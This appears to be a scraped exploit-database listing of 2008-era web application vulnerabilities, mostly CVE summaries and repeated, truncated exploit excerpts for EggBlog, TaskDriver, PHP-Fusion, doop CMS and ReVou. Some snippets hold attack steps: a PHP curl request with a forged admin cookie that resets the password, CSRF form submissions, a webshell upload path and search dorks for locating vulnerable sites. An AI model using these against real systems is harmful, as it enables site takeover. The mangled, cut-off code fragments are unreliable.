CVE-2008-5896

CodeAvalanche RateMySite stores sensitive information under the web root with insufficient access control, which allows remote attackers to download the database file containing the administrator password via a direct request for private/CARateMySite.mdb. NOTE: some of these details are obtained...

EggBlog 3.1.10 XSRF Vulnerability

| | | Project: EggBlog v 3.1.10 | | Author: x0r | | Email: andry2000athotmaildotit | || Code: x0r :P document.forumform.submit With this csrf you can change the admin pass ^ ^...

EggBlog 3.1.10 Change Admin Pass CSRF Vulnerability

Exploit for unknown platform in category web applications =================================================== EggBlog 3.1.10 Change Admin Pass CSRF Vulnerability =================================================== | | | Project: EggBlog v 3.1.10 | | Author: x0r | || Code: x0r :P...

w3blabor CMS 3.3.0 - Authentication Bypass

'/ -.- ------------------oOO------OOo----------------- | | | / / / / | | / / / / / / / / / / / | | // // / / / // / // / // | | ///,// /./,/, // | | Security Research Division // 2oo8 | -------------------------------------------------- | w3blabor CMS = v3.3.0 Admin Login Bypass | | requires...

EggBlog 3.1.10 - Cross-Site Request Forgery (Change Admin Password)

| | | Project: EggBlog v 3.1.10 | | Author: x0r | | Email: andry2000athotmaildotit | || Code: x0r :P document.forumform.submit With this csrf you can change the admin pass ^ ^ milw0rm.com 2009-01-01...

EggBlog 3.1.10 - Cross-Site Request Forgery (Change Admin Password)

EggBlog 3.1.10 - Cross-Site Request Forgery Change Admin Password | | | Project: EggBlog v 3.1.10 | | Author: x0r | | Email: andry2000athotmaildotit | || Code: x0r :P document.forumform.submit With this csrf you can change the admin pass ^ ^ milw0rm.com 2009-01-01...

TaskDriver 1.3 Change Admin Password Exploit

\n\n", $argv0; exit; list$script, $target, $pass = $argv; $xpl = curlinit; curlsetoptarray$xpl, array CURLOPTURL = "$target/profileedit.php", CURLOPTCOOKIE = "auth=fook!admin", CURLOPTRETURNTRANSFER = true, CURLOPTPOST = true, CURLOP...

TaskDriver <= 1.3 Remote Change Admin Password Exploit

No description provided by source. ?php / $Id: taskdriver-1.3.php,v 0.1 2008/12/03 04:04:28 cOndemned Exp $ TaskDriver = 1.3 Remote Change Admin Password Exploit Bug found && Exploited by cOndemned Download: http://www.taskdriver.com/downtrack/index.php?down=2 Description: This exploit uses...

TaskDriver 1.3 - Remote Change Admin Password

\n\n", $argv0; exit; list$script, $target, $pass = $argv; $xpl = curlinit; curlsetoptarray$xpl, array CURLOPTURL = "$target/profileedit.php", CURLOPTCOOKIE = "auth=fook!admin", CURLOPTRETURNTRANSFER = true, CURLOPTPOST = true, CURLOPTPOSTFIELDS = "password=$pass" ; $ret = curl...

TaskDriver <= 1.3 Remote Change Admin Password Exploit

Exploit for unknown platform in category web applications ====================================================== TaskDriver \n\n", $argv0; exit; list$script, $target, $pass = $argv; $xpl = curlin...

PHP-Fusion 7.0.2 - Blind SQL Injection

PHP-Fusion 7.0.2 - Blind SQL Injection !/usr/bin/perl -w ------------------------------------------------------- PHP-Fusion = 7.00.2 Remote Blind SQL Injection Exploit by athos - stakerathotmaildotit download on http://php-fusion.co.uk ------------------------------------------------------- Usage...

doop CMS 1.4.0b - Cross-Site Request Forgery / Arbitrary File Upload

-------------------------------------------------------------------------- | Project: Doop document.admin.submit ---------------------------------------------------------------------- -- Upload Shell -- Ok. Una volta nel pannello di amministrazione possiamo uppare qualsiasi file non controlla...

doop CMS 1.4.0b - Cross-Site Request Forgery Arbitrary File Upload

doop CMS 1.4.0b - Cross-Site Request Forgery Arbitrary File Upload -------------------------------------------------------------------------- | Project: Doop document.admin.submit ---------------------------------------------------------------------- -- Upload Shell -- Ok. Una volta nel pannello ...

ReVou Twitter Clone - Admin Password Change

=== NOTES === . Reset pwd, login as ADMIN, use this path to upload your php-shell-script: http://site.tld/revou/adminlogin/index.php?id=dbimport . your file is here: http://site.tld/revou/dbbackup/shell.php === GGL-DORKS === "Joined ReVou" "Tell the world what you're doing at this moment!" "days...

ReVou Twitter Clone - Admin Password Change

ReVou Twitter Clone - Admin Password Change === NOTES === . Reset pwd, login as ADMIN, use this path to upload your php-shell-script: http://site.tld/revou/adminlogin/index.php?id=dbimport . your file is here: http://site.tld/revou/dbbackup/shell.php === GGL-DORKS === "Joined ReVou" "Tell the wor...

CVE-2008-5568

Cross-site request forgery CSRF vulnerability in admin/settings.php in IPN Pro 3 1.44 and earlier allows remote attackers to change the admin password via a logout action in conjunction with the adminid, newpass1, and newpass2 parameters...

CVE-2008-5567

Cross-site request forgery CSRF vulnerability in admin/adsettings.php in Bonza Cart 1.10 and earlier allows remote attackers to change the admin password via a logout action in conjunction with the NewAdmin, NewPass1, and NewPass2 parameters...

CVE-2008-5565

Cross-site request forgery CSRF vulnerability in admin/settings.php in DL PayCart 1.34 and earlier allows remote attackers to change the admin password via a logout action in conjunction with the NewAdmin, NewPass1, and NewPass2 parameters...

Cross site request forgery (csrf)

Cross-site request forgery CSRF vulnerability in admin/adsettings.php in Bonza Cart 1.10 and earlier allows remote attackers to change the admin password via a logout action in conjunction with the NewAdmin, NewPass1, and NewPass2 parameters...

CVE-2008-5567

Cross-site request forgery CSRF vulnerability in admin/adsettings.php in Bonza Cart 1.10 and earlier allows remote attackers to change the admin password via a logout action in conjunction with the NewAdmin, NewPass1, and NewPass2 parameters...